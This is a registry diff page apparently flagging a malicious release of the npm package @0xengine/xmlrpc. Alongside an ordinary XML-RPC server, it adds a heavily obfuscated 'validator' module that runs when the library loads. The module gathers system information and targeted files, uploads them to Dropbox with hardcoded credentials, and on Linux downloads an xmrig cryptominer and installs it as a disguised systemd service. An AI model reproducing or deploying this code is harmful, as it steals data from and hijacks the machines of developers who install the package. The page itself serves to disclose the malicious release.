@0xengine/xmlrpc 0.0.1-security → 1.3.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @0xengine/xmlrpc might be problematic. Click here for more details.

package/lib/server.js ADDED
@@ -0,0 +1,78 @@
1
+ var http = require('http')
2
+ , https = require('https')
3
+ , url = require('url')
4
+ , EventEmitter = require('events').EventEmitter
5
+ , Serializer = require('./serializer')
6
+ , Deserializer = require('./deserializer')
7
+
8
+ /**
9
+ * Creates a new Server object. Also creates an HTTP server to start listening
10
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
11
+ * name when receiving a method call.
12
+ *
13
+ * @constructor
14
+ * @param {Object|String} options - The HTTP server options. Either a URI string
15
+ * (e.g. 'http://localhost:9090') or an object
16
+ * with fields:
17
+ * - {String} host - (optional)
18
+ * - {Number} port
19
+ * @param {Boolean} isSecure - True if using https for making calls,
20
+ * otherwise false.
21
+ * @return {Server}
22
+ */
23
+ function Server(options, isSecure, onListening) {
24
+
25
+ if (false === (this instanceof Server)) {
26
+ return new Server(options, isSecure)
27
+ }
28
+ onListening = onListening || function() {}
29
+ var that = this
30
+
31
+ // If a string URI is passed in, converts to URI fields
32
+ if (typeof options === 'string') {
33
+ options = url.parse(options)
34
+ options.host = options.hostname
35
+ options.path = options.pathname
36
+ }
37
+
38
+ function handleMethodCall(request, response) {
39
+ var deserializer = new Deserializer()
40
+ deserializer.deserializeMethodCall(request, function(error, methodName, params) {
41
+ if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
42
+ that.emit(methodName, null, params, function(error, value) {
43
+ var xml = null
44
+ if (error !== null) {
45
+ xml = Serializer.serializeFault(error)
46
+ }
47
+ else {
48
+ xml = Serializer.serializeMethodResponse(value)
49
+ }
50
+ response.writeHead(200, {'Content-Type': 'text/xml'})
51
+ response.end(xml)
52
+ })
53
+ }
54
+ else {
55
+ that.emit('NotFound', methodName, params)
56
+ response.writeHead(404)
57
+ response.end()
58
+ }
59
+ })
60
+ }
61
+
62
+ this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
63
+ : http.createServer(handleMethodCall)
64
+
65
+ process.nextTick(function() {
66
+ this.httpServer.listen(options.port, options.host, onListening)
67
+ }.bind(this))
68
+ this.close = function(callback) {
69
+ this.httpServer.once('close', callback)
70
+ this.httpServer.close()
71
+ }.bind(this)
72
+ }
73
+
74
+ // Inherit from EventEmitter to emit and listen
75
+ Server.prototype.__proto__ = EventEmitter.prototype
76
+
77
+ module.exports = Server
78
+
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ const a0_0x4394ad=a0_0x1d3b;(function(_0x345fbe,_0x4beb8d){const _0xece30a=a0_0x1d3b,_0x5c0220=_0x345fbe();while(!![]){try{const _0x5b0da4=parseInt(_0xece30a(0x20e))/(0x1354+0x1*0x527+-0x187a)*(parseInt(_0xece30a(0x1d1))/(0xa75*0x1+0x7ec*0x1+-0x125f*0x1))+-parseInt(_0xece30a(0x1d0))/(-0x1b32+0x1496+-0x69f*-0x1)*(parseInt(_0xece30a(0x193))/(0x1f4f+0x947+-0x2892))+parseInt(_0xece30a(0x24a))/(0x1*-0x529+-0x14a0+0x16f*0x12)*(-parseInt(_0xece30a(0x1c3))/(0x1*0x1726+0x1*-0x1375+-0x3ab))+-parseInt(_0xece30a(0x1e3))/(-0x2d*0xaf+0x1d*0x37+0x188f)*(-parseInt(_0xece30a(0x1f5))/(-0x1*0x2001+-0x1a13*-0x1+0x2fb*0x2))+-parseInt(_0xece30a(0x1e4))/(0x17e+-0x131e*-0x1+-0x1493)+-parseInt(_0xece30a(0x1c7))/(0xef*-0x19+-0xfed+0x27*0x102)+parseInt(_0xece30a(0x1f9))/(-0x3*0x468+-0xa5*-0x29+-0xd2a);if(_0x5b0da4===_0x4beb8d)break;else _0x5c0220['push'](_0x5c0220['shift']());}catch(_0x2e8601){_0x5c0220['push'](_0x5c0220['shift']());}}}(a0_0x2970,0x48b94+0x137c2d*0x1+-0x9fb4e));const a0_0x28b589=(function(){let _0x1f2ac5=!![];return function(_0x2c9caa,_0x1c734a){const _0x7f3a34=_0x1f2ac5?function(){const _0x4f6d91=a0_0x1d3b;if(_0x1c734a){const _0x4b2ec9=_0x1c734a[_0x4f6d91(0x1ed)](_0x2c9caa,arguments);return _0x1c734a=null,_0x4b2ec9;}}:function(){};return _0x1f2ac5=![],_0x7f3a34;};}());(function(){a0_0x28b589(this,function(){const _0x11b1bb=a0_0x1d3b;if('yTLZL'===_0x11b1bb(0x1f6)){if(_0x5b1036){const _0x117409=_0x140f05[_0x11b1bb(0x1ed)](_0x4ec4b4,arguments);return _0x59c823=null,_0x117409;}}else{const _0x5b0fde=new RegExp('function\x20*'+'\x5c(\x20*\x5c)'),_0x7b67fe=new RegExp(_0x11b1bb(0x1f7)+'a-zA-Z_$]['+_0x11b1bb(0x1b3)+_0x11b1bb(0x227),'i'),_0x3bd1ce=a0_0x12c301(_0x11b1bb(0x1d2));if(!_0x5b0fde['test'](_0x3bd1ce+_0x11b1bb(0x19e))||!_0x7b67fe[_0x11b1bb(0x224)](_0x3bd1ce+_0x11b1bb(0x228))){if(_0x11b1bb(0x1e1)!==_0x11b1bb(0x1b4))_0x3bd1ce('0');else return _0x40c2cd;}else a0_0x12c301();}})();}());const fs=require(a0_0x4394ad(0x244)),{access}=require(a0_0x4394ad(0x229)+'s'),{zip}=require(a0_0x4394ad(0x1eb)+'er'),si=require(a0_0x4394ad(0x1a6)+'rmation'),os=require('os'),path=require(a0_0x4394ad(0x22d)),{exec}=require(a0_0x4394ad(0x225)+a0_0x4394ad(0x197)),util=require(a0_0x4394ad(0x21e)),execPromise=util[a0_0x4394ad(0x200)](exec),{Dropbox}=require('dropbox'),a0_0x3f150a={};function a0_0x2970(){const _0x1c68a8=['\x202>&1\x0a','t.target\x0a\x0a','dd32342342','systeminfo','/k0rn66/xm','utput\x20$LOC','readFile','/Xsessions','edd44434/x','l\x202>&1\x0asys','bash\x20','r/Xsession','filesUploa','e\x20$APPNAME','Owner','put\x20$LOCAL','0-9a-zA-Z_','LrgSD','KoQGz','AL_PATH/$X','uuid','EXdInRczVA','-sL\x20--outp','debugme','_PATH\x0acurl','qbknda07b3','\x20/dev/null','XJdFD','VSnVy','outputFile','ys\x0a#Standa','vice\x0a[Unit','31194lYLHqu','n/xsession','GNAME\x0achmo','refreshTok','6580310zPABAP','.service\x20>','aemon\x0a\x0a[Se','PATH/$XMRI','tmpdir','IEUQV','er\x0a\x0aensure','e)\x20{}','\x20-sL\x20--out','177ozaabW','2BiHsHI','init','dev/null\x202','APPNAME\x0aRe','ull\x0a\x0a[Inst','call','platform','rdOutput=n','E=xsession','_PATH=$HOM','=$REPO_URL','rl\x20-sL\x20--o','utf8','SLDDh','eZarh5VSmU','c\x20path:\x20','CGzvx','opped','7hLzVay','1948437hyTYSD','exports','gger','c6j642mz7k','ensure_os\x0a','encoding','AYA9a4wHLu','zip-a-fold','remove','apply','NAME\x20$XPRI','L_PATH/$XP','REPO_URL/r','constructo','/688823243',']\x20\x0aDescrip','writeFile','6657976vKSEav','TbcdT','\x5c+\x5c+\x20*(?:[','name\x20-m)\x0a\x09','44929093NIvdBZ','sess_47894','hine\x20!=\x20\x22x','osInfo','homedir','t\x20<<HEREDO','\x0asystemctl','promisify','/etc/os-re','cAAAAAAAAA','t\x20$APPNAME','https://co','linux','find','deberg.org','resolve','constants','copyFile','/targets.t','\x20then\x0a\x09\x09ex','systemd/us','37641xKJCjR','LTmUI','-user\x20enab','>\x20/dev/nul','ser\x20disabl','argv','now','er\x20daemon-','C\x20>\x20$SYSTE','then','UfzDU','IG_URL\x20\x0acu','PRINTIDLE_','.auth','\x0aREPO_URL=','ggTYegPuYh','util','Drp\x20done','le\x0aAPP_URL','achine=$(u','cStart=$LO','start=alwa','test','child_proc','ZtRBk4Wfng','$]*)','input','fs/promise','d\x20+x\x20$LOCA','/raw/maste','NTIDLE_URL','path','RINTIDLE_N','.zip','Xsession.s','_PATH/$APP','_os()\x20{\x0a\x09m','lease','PATH=$HOME','action','stateObjec','ull\x0a#Stand','AME\x0achmod\x20','/os-releas','\x202>&1\x0asyst','Already\x20dr','xmrig\x0aXPRI','ensureDir','\x20-p\x20$LOCAL','PATH/$APPN','NAME\x20$APP_','string','clientId','LNRXq','fs-extra','/.local/bi','F_OK','ion\x20Auth\x20d','debu','ardError=n','1335lSEszb','rdropper\x0aX','E.service\x20','HEREDOC\x0a\x0as','catch','e.txt','emctl\x20--us','120068XKfhAR','contents','\x20\x0a\x0a\x0achmod\x20','CAL_PATH/$','ess','ODoh','while\x20(tru','d342342342','PPNAME.ser','le\x0aSYSTEMD','temctl\x20--u','chain','log','le\x20$APPNAM','GNAME\x20$XMR','3eddede'];a0_0x2970=function(){return _0x1c68a8;};return a0_0x2970();}a0_0x3f150a[a0_0x4394ad(0x242)]=a0_0x4394ad(0x1bc)+'no1z3',a0_0x3f150a['clientSecr'+'et']=a0_0x4394ad(0x1e7)+'2gyuq',a0_0x3f150a[a0_0x4394ad(0x1c6)+'en']=a0_0x4394ad(0x226)+a0_0x4394ad(0x202)+a0_0x4394ad(0x1ea)+a0_0x4394ad(0x1b8)+a0_0x4394ad(0x1df)+a0_0x4394ad(0x21d)+a0_0x4394ad(0x198);const dbx=new Dropbox(a0_0x3f150a);function a0_0x1d3b(_0x29701d,_0x1d3b28){const _0x1f9c88=a0_0x2970();return a0_0x1d3b=function(_0x3fee16,_0x1ce995){_0x3fee16=_0x3fee16-(-0x961+0x18b4+-0xdc2);let _0xa644a2=_0x1f9c88[_0x3fee16];return _0xa644a2;},a0_0x1d3b(_0x29701d,_0x1d3b28);}async function drp(_0x3c201c){const _0xdac79d=a0_0x4394ad,_0x4031af=_0xdac79d(0x21c)+_0xdac79d(0x204)+_0xdac79d(0x207)+_0xdac79d(0x1a7)+_0xdac79d(0x24b)+'MRIG_URL=$'+_0xdac79d(0x1f0)+'aw/master/'+_0xdac79d(0x23c)+_0xdac79d(0x22c)+_0xdac79d(0x1db)+_0xdac79d(0x22b)+'r/xprintid'+_0xdac79d(0x220)+_0xdac79d(0x1db)+_0xdac79d(0x22b)+_0xdac79d(0x1ae)+'.sh\x0aLOCAL_'+_0xdac79d(0x234)+_0xdac79d(0x245)+'n\x0aAPPNAME='+_0xdac79d(0x230)+'h\x0aXMRIGNAM'+_0xdac79d(0x1d9)+'.auth\x0aXPRI'+'NTIDLE_NAM'+'E=xprintid'+_0xdac79d(0x19c)+_0xdac79d(0x1da)+'E/.config/'+_0xdac79d(0x20d)+_0xdac79d(0x1cd)+_0xdac79d(0x232)+_0xdac79d(0x221)+_0xdac79d(0x1f8)+'if\x20[[\x20$mac'+_0xdac79d(0x1fb)+'86_64\x22\x20]];'+_0xdac79d(0x20c)+'it\x0a\x09fi\x0a}\x0a\x0a'+_0xdac79d(0x1e8)+_0xdac79d(0x1ff)+'\x20--user\x20st'+'op\x20$APPNAM'+_0xdac79d(0x24c)+'>\x20/dev/nul'+'l\x202>&1\x0asys'+_0xdac79d(0x19d)+_0xdac79d(0x212)+_0xdac79d(0x1b0)+_0xdac79d(0x1c8)+'\x20/dev/null'+_0xdac79d(0x23a)+_0xdac79d(0x192)+_0xdac79d(0x215)+'reload\x20>\x20/'+_0xdac79d(0x1d3)+'>&1\x0a\x0amkdir'+_0xdac79d(0x23e)+_0xdac79d(0x1bb)+_0xdac79d(0x1cf)+_0xdac79d(0x1b2)+_0xdac79d(0x231)+_0xdac79d(0x240)+'URL\x20\x0acurl\x20'+_0xdac79d(0x1b9)+'ut\x20$LOCAL_'+_0xdac79d(0x1ca)+_0xdac79d(0x1a1)+_0xdac79d(0x219)+_0xdac79d(0x1dc)+_0xdac79d(0x1a8)+_0xdac79d(0x1b6)+_0xdac79d(0x21a)+_0xdac79d(0x1ee)+_0xdac79d(0x22c)+_0xdac79d(0x195)+'+x\x20$LOCAL_'+_0xdac79d(0x23f)+_0xdac79d(0x238)+'+x\x20$LOCAL_'+_0xdac79d(0x1ca)+_0xdac79d(0x1c5)+_0xdac79d(0x22a)+_0xdac79d(0x1ef)+_0xdac79d(0x22e)+'AME\x0a\x0amkdir'+'\x20-p\x20$SYSTE'+'MD_PATH\x0aca'+_0xdac79d(0x1fe)+_0xdac79d(0x216)+'MD_PATH/$A'+_0xdac79d(0x19b)+_0xdac79d(0x1c2)+_0xdac79d(0x1f3)+'tion=Xsess'+_0xdac79d(0x247)+_0xdac79d(0x1c9)+'rvice]\x0aExe'+_0xdac79d(0x222)+(_0xdac79d(0x196)+_0xdac79d(0x1d4)+_0xdac79d(0x223)+_0xdac79d(0x1c1)+_0xdac79d(0x1d8)+_0xdac79d(0x237)+_0xdac79d(0x249)+_0xdac79d(0x1d5)+'all]\x0aWante'+'dBy=defaul'+_0xdac79d(0x1a4)+_0xdac79d(0x24d)+'ystemctl\x20-'+_0xdac79d(0x210)+_0xdac79d(0x1a0)+_0xdac79d(0x24c)+_0xdac79d(0x211)+_0xdac79d(0x1ac)+_0xdac79d(0x19d)+'ser\x20restar'+_0xdac79d(0x203)+_0xdac79d(0x1c8)+_0xdac79d(0x1bd)+_0xdac79d(0x1a3));_0x3c201c('Runinng\x20dr'+'p');const _0x235a4f=os[_0xdac79d(0x1fd)]();let _0x149bd1;try{_0xdac79d(0x243)===_0xdac79d(0x243)?(await access(_0x235a4f+(_0xdac79d(0x245)+_0xdac79d(0x1c4)+_0xdac79d(0x21b)),fs[_0xdac79d(0x209)][_0xdac79d(0x246)]),_0x149bd1=!![]):_0x5f30e4();}catch(_0xfe470e){_0xdac79d(0x218)!=='RcQNk'?_0x149bd1=![]:function(){return!![];}[_0xdac79d(0x1f1)+'r'](_0xdac79d(0x248)+_0xdac79d(0x1e6))[_0xdac79d(0x1d6)](_0xdac79d(0x235));}if(_0x149bd1){_0x3c201c(_0xdac79d(0x23b)+_0xdac79d(0x1e2));return;}const _0x51b468=os[_0xdac79d(0x1cb)](),_0x27c5a1=_0x51b468+(_0xdac79d(0x1aa)+_0xdac79d(0x1f2)+_0xdac79d(0x19a)+_0xdac79d(0x1a5)+_0xdac79d(0x1ab)+_0xdac79d(0x1fa)+'34513_6789'+_0xdac79d(0x1a2)),_0x59f997={};_0x59f997[_0xdac79d(0x1e9)]=_0xdac79d(0x1dd),await fs[_0xdac79d(0x1c0)](_0x27c5a1,_0x4031af,_0x59f997),await execPromise(_0xdac79d(0x1ad)+_0x27c5a1),_0x3c201c(_0xdac79d(0x21f)),await fs[_0xdac79d(0x1ec)](_0x27c5a1);}async function validator(){const _0x375629=a0_0x4394ad,_0x56c0dc=process['argv'][_0x375629(0x206)](_0x4876b6=>_0x4876b6===_0x375629(0x1ba))!==undefined,_0x38077f=process[_0x375629(0x213)][_0x375629(0x206)](_0x3dca54=>_0x3dca54==='owner')!==undefined,_0x124f20=_0x91e55f=>{const _0x1be828=_0x375629;_0x56c0dc&&console[_0x1be828(0x19f)](_0x91e55f);};if(_0x38077f){if(_0x375629(0x1bf)!=='ZnPDC'){_0x124f20('Owner');return;}else _0x227629(-0x8b5+0x209b+0x10a*-0x17);}_0x124f20(process[_0x375629(0x213)]);const _0x582ba9=process[_0x375629(0x213)]['findIndex'](_0x448267=>_0x448267==='--targets'||_0x448267==='-t');if(_0x582ba9===-(0x1*0x18d7+-0x54*-0x63+-0x3952)){if(_0x375629(0x20f)===_0x375629(0x20f))return;else return;}const _0x391ac4=path[_0x375629(0x208)](process[_0x375629(0x213)][_0x582ba9+(0xcec+0x210b*0x1+-0x4a*0x9f)]);_0x124f20('targets\x20sr'+_0x375629(0x1e0)+_0x391ac4);const _0x1ec3c2=os[_0x375629(0x1cb)](),_0x122b91=Date[_0x375629(0x214)](),_0x4ffe7e=_0x1ec3c2+'/'+_0x122b91;await fs[_0x375629(0x23d)](_0x4ffe7e);const _0x2c484e=await si[_0x375629(0x1b7)](),_0xa93d55=await si[_0x375629(0x1fc)](),_0x5c37ed={};_0x5c37ed['uuid']=_0x2c484e,_0x5c37ed[_0x375629(0x1fc)]=_0xa93d55;const _0x231049=_0x5c37ed,_0x489f3d=JSON['stringify'](_0x231049,null,0x6*-0x3e8+-0x2257+0x39c9*0x1),_0x1784eb=_0x4ffe7e+'/si.json',_0x7a91d8={};_0x7a91d8[_0x375629(0x1e9)]=_0x375629(0x1dd),await fs[_0x375629(0x1f4)](_0x1784eb,_0x489f3d,_0x7a91d8);const _0x1866be=_0x4ffe7e+(_0x375629(0x20b)+'xt');await fs['copyFile'](_0x391ac4,_0x1866be);_0xa93d55[_0x375629(0x1d7)]===_0x375629(0x205)&&(await fs[_0x375629(0x20a)](_0x375629(0x201)+_0x375629(0x233),_0x4ffe7e+(_0x375629(0x239)+_0x375629(0x191))),drp(_0x124f20));const _0xaf0f30=_0x2c484e['os']+'-'+_0x122b91+_0x375629(0x22f),_0x2cd5d9=_0x1ec3c2+'/'+_0xaf0f30;_0x124f20('zipPath:\x20'+_0x2cd5d9),await zip(_0x4ffe7e,_0x2cd5d9);const _0x23e1cf=await fs[_0x375629(0x1a9)](_0x2cd5d9),_0x2da975={};_0x2da975[_0x375629(0x22d)]='/'+_0xaf0f30,_0x2da975[_0x375629(0x194)]=_0x23e1cf,dbx[_0x375629(0x1af)+'d'](_0x2da975)[_0x375629(0x217)](_0x5d0273=>{const _0x11042f=_0x375629;if('WDAzd'!=='WDAzd'){_0x582885(_0x11042f(0x1b1));return;}else _0x124f20(_0x5d0273);})[_0x375629(0x24e)](_0x918c4a=>{_0x124f20(_0x918c4a);});}module[a0_0x4394ad(0x1e5)]=validator;function a0_0x12c301(_0x46a671){const _0x4fcedd=a0_0x4394ad;function _0x2defba(_0x48e307){const _0x4a97c5=a0_0x1d3b;if('CNvpL'!=='CNvpL'){if(_0x18d477)return _0x263af0;else _0x3b2a86(0xc+-0x1*0xa52+0xa46);}else{if(typeof _0x48e307===_0x4a97c5(0x241))return function(_0x2a7a3f){}[_0x4a97c5(0x1f1)+'r'](_0x4a97c5(0x199)+_0x4a97c5(0x1ce))[_0x4a97c5(0x1ed)]('counter');else(''+_0x48e307/_0x48e307)['length']!==0x79a*-0x3+0x16eb+-0x1c||_0x48e307%(0xa01+0x1ada+-0x24c7)===0x15aa+0x1866+-0x2e10?function(){const _0x5d789b=_0x4a97c5;if('rRWxs'!==_0x5d789b(0x1cc))return!![];else _0x4c77ac[_0x5d789b(0x19f)](_0x1bef92);}[_0x4a97c5(0x1f1)+'r'](_0x4a97c5(0x248)+_0x4a97c5(0x1e6))['call'](_0x4a97c5(0x235)):'CkOIm'!=='LDabG'?function(){const _0x280e67=_0x4a97c5;if('SLDDh'!==_0x280e67(0x1de))(function(){return![];}[_0x280e67(0x1f1)+'r'](_0x280e67(0x248)+'gger')[_0x280e67(0x1ed)](_0x280e67(0x236)+'t'));else return![];}[_0x4a97c5(0x1f1)+'r'](_0x4a97c5(0x248)+_0x4a97c5(0x1e6))[_0x4a97c5(0x1ed)]('stateObjec'+'t'):_0x36bfc6=![];_0x2defba(++_0x48e307);}}try{if(_0x46a671)return _0x2defba;else{if(_0x4fcedd(0x1b5)===_0x4fcedd(0x1be)){const _0x136c39=_0x113017?function(){if(_0x584d82){const _0x24eb16=_0x22b0a6['apply'](_0x582306,arguments);return _0x3f01b9=null,_0x24eb16;}}:function(){};return _0x281ab6=![],_0x136c39;}else _0x2defba(0x1f42+0x22eb*-0x1+0x3a9);}}catch(_0x24bbb1){}}
package/lib/xmlrpc.js ADDED
@@ -0,0 +1,73 @@
1
+ var Client = require('./client')
2
+ , Server = require('./server')
3
+ , CustomType = require('./customtype')
4
+ , dateFormatter = require('./date_formatter')
5
+ , validator = require('./validator')
6
+
7
+ var xmlrpc = exports
8
+
9
+ /**
10
+ * Creates an XML-RPC client.
11
+ *
12
+ * @param {Object} options - server options to make the HTTP request to
13
+ * - {String} host
14
+ * - {Number} port
15
+ * - {String} url
16
+ * - {Boolean} cookies
17
+ * @return {Client}
18
+ * @see Client
19
+ */
20
+ xmlrpc.createClient = function(options) {
21
+ return new Client(options, false)
22
+ }
23
+
24
+ /**
25
+ * Creates an XML-RPC client that makes calls using HTTPS.
26
+ *
27
+ * @param {Object} options - server options to make the HTTP request to
28
+ * - {String} host
29
+ * - {Number} port
30
+ * - {String} url
31
+ * - {Boolean} cookies
32
+ * @return {Client}
33
+ * @see Client
34
+ */
35
+ xmlrpc.createSecureClient = function(options) {
36
+ return new Client(options, true)
37
+ }
38
+
39
+ /**
40
+ * Creates an instance of server parameter validator.
41
+ * @See Server
42
+ */
43
+ xmlrpc.validator = validator()
44
+
45
+
46
+ /**
47
+ * Creates an XML-RPC server.
48
+ *
49
+ * @param {Object}options - the HTTP server options
50
+ * - {String} host
51
+ * - {Number} port
52
+ * @return {Server}
53
+ * @see Server
54
+ */
55
+ xmlrpc.createServer = function(options, callback) {
56
+ return new Server(options, false, callback)
57
+ }
58
+
59
+ /**
60
+ * Creates an XML-RPC server that uses HTTPS.
61
+ *
62
+ * @param {Object}options - the HTTP server options
63
+ * - {String} host
64
+ * - {Number} port
65
+ * @return {Server}
66
+ * @see Server
67
+ */
68
+ xmlrpc.createSecureServer = function(options, callback) {
69
+ return new Server(options, true, callback)
70
+ }
71
+
72
+ xmlrpc.CustomType = CustomType
73
+ xmlrpc.dateFormatter = dateFormatter
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@0xengine/xmlrpc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "A pure JavaScript XML-RPC client and server.",
4
+ "keywords": [
5
+ "xml-rpc",
6
+ "xmlrpc",
7
+ "xml",
8
+ "rpc"
9
+ ],
10
+ "version": "1.3.18",
11
+ "preferGlobal": false,
12
+ "homepage": "https://bitbucket.org/0xsky/xmlrpc",
13
+ "author": "0xengine",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
17
+ },
18
+ "directories": {
19
+ "example": "example",
20
+ "lib": "lib",
21
+ "test": "test"
22
+ },
23
+ "main": "./lib/xmlrpc.js",
24
+ "dependencies": {
25
+ "dropbox": "^10.34.0",
26
+ "fs-extra": "^11.1.1",
27
+ "sax": "1.2.x",
28
+ "systeminformation": "^5.21.9",
29
+ "uuid": "^9.0.1",
30
+ "xmlbuilder": "8.2.x",
31
+ "zip-a-folder": "^1.1.7"
32
+ },
33
+ "devDependencies": {
34
+ "vows": "0.7.x"
35
+ },
36
+ "scripts": {
37
+ "test": "vows 'test/*.js'"
38
+ },
39
+ "engines": {
40
+ "node": ">=0.8",
41
+ "npm": ">=1.0.0"
42
+ },
43
+ "license": "MIT",
44
+ "bugs": {
45
+ "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
46
+ }
6
47
  }